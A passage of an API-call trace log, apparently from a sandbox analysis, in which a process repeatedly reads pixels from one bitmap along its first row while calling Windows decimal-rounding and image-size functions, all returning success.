0x0 [0131.914] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=29, y=0, color=0x1c74cf80) returned 0x0 [0131.915] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.915] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.915] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.915] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.915] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=30, y=0, color=0x1c74cf80) returned 0x0 [0131.915] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.915] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.915] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.915] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.915] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=31, y=0, color=0x1c74cf80) returned 0x0 [0131.915] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.915] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.915] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.915] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.915] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=32, y=0, color=0x1c74cf80) returned 0x0 [0131.915] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.916] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.916] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.916] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.916] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=33, y=0, color=0x1c74cf80) returned 0x0 [0131.916] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.916] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.916] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.916] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.916] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=34, y=0, color=0x1c74cf80) returned 0x0 [0131.916] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.916] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.916] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.916] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.916] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=35, y=0, color=0x1c74cf80) returned 0x0 [0131.916] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.917] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.917] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.917] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.917] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=36, y=0, color=0x1c74cf80) returned 0x0 [0131.917] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.917] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.917] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.917] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.917] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=37, y=0, color=0x1c74cf80) returned 0x0 [0131.917] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.917] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.917] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.917] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.917] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=38, y=0, color=0x1c74cf80) returned 0x0 [0131.917] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.917] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.917] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.917] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.918] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=39, y=0, color=0x1c74cf80) returned 0x0 [0131.918] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.918] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.918] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.918] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.918] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=40, y=0, color=0x1c74cf80) returned 0x0 [0131.918] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.918] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.918] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.918] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.918] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=41, y=0, color=0x1c74cf80) returned 0x0 [0131.918] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.918] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.918] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.918] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.918] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=42, y=0, color=0x1c74cf80) returned 0x0 [0131.918] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.919] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.919] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.919] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.919] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=43, y=0, color=0x1c74cf80) returned 0x0 [0131.919] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.919] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.919] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.919] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.919] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=44, y=0, color=0x1c74cf80) returned 0x0 [0131.919] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.919] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.919] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.919] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.919] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=45, y=0, color=0x1c74cf80) returned 0x0 [0131.919] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.919] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.919] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.920] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.920] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=46, y=0, color=0x1c74cf80) returned 0x0 [0131.920] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.920] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.920] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.920] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.920] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=47, y=0, color=0x1c74cf80) returned 0x0 [0131.920] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.920] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.920] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.920] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.920] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=48, y=0, color=0x1c74cf80) returned 0x0 [0131.920] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.920] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.920] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.920] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.920] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=49, y=0, color=0x1c74cf80) returned 0x0 [0131.921] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.921] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.921] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.921] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.921] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=50, y=0, color=0x1c74cf80) returned 0x0 [0131.921] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.921] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.921] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.921] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.921] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=51, y=0, color=0x1c74cf80) returned 0x0 [0131.921] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.921] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.921] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.921] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.921] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=52, y=0, color=0x1c74cf80) returned 0x0 [0131.921] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.921] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.922] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.922] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.922] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=53, y=0, color=0x1c74cf80) returned 0x0 [0131.922] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.922] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.922] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.922] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.922] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=54, y=0, color=0x1c74cf80) returned 0x0 [0131.922] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.922] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.922] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.922] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.922] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=55, y=0, color=0x1c74cf80) returned 0x0 [0131.922] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.922] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.922] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.922] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.922] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=56, y=0, color=0x1c74cf80) returned 0x0 [0131.923] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.923] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.923] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.923] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.923] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=57, y=0, color=0x1c74cf80) returned 0x0 [0131.923] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.923] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.923] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.923] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.923] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=58, y=0, color=0x1c74cf80) returned 0x0 [0131.923] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.923] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.923] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.923] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.923] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=59, y=0, color=0x1c74cf80) returned 0x0 [0131.923] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.923] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.924] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.924] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.924] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=60, y=0, color=0x1c74cf80) returned 0x0 [0131.924] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.924] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.924] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.924] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.924] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=61, y=0, color=0x1c74cf80) returned 0x0 [0131.924] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.924] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.924] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.924] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.924] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=62, y=0, color=0x1c74cf80) returned 0x0 [0131.924] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.924] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.924] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.924] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.924] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=63, y=0, color=0x1c74cf80) returned 0x0 [0131.925] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.925] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.925] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.925] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.925] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=64, y=0, color=0x1c74cf80) returned 0x0 [0131.925] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.925] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.925] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.925] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.925] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=65, y=0, color=0x1c74cf80) returned 0x0 [0131.925] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.925] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.925] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.925] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.925] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=66, y=0, color=0x1c74cf80) returned 0x0 [0131.925] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.925] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.926] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.926] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.926] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=67, y=0, color=0x1c74cf80) returned 0x0 [0131.926] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.926] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.926] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.926] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.926] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=68, y=0, color=0x1c74cf80) returned 0x0 [0131.926] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.926] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.926] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.926] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.926] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=69, y=0, color=0x1c74cf80) returned 0x0 [0131.926] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.926] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.926] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.926] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.927] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=70, y=0, color=0x1c74cf80) returned 0x0 [0131.927] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.927] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.927] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.927] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.927] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=71, y=0, color=0x1c74cf80) returned 0x0 [0131.927] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.927] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.927] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.927] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.927] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=72, y=0, color=0x1c74cf80) returned 0x0 [0131.927] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.927] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.927] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.927] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.927] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=73, y=0, color=0x1c74cf80) returned 0x0 [0131.928] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.928] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.928] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.928] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.928] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=74, y=0, color=0x1c74cf80) returned 0x0 [0131.928] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.928] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.928] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.928] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.928] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=75, y=0, color=0x1c74cf80) returned 0x0 [0131.928] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.928] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.928] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.928] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.928] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=76, y=0, color=0x1c74cf80) returned 0x0 [0131.928] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.929] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.929] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.929] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.929] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=77, y=0, color=0x1c74cf80) returned 0x0 [0131.929] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.929] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.929] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.929] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.929] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=78, y=0, color=0x1c74cf80) returned 0x0 [0131.929] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.929] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.929] GdipGetImageWidth (image=0x1c7b41a0, 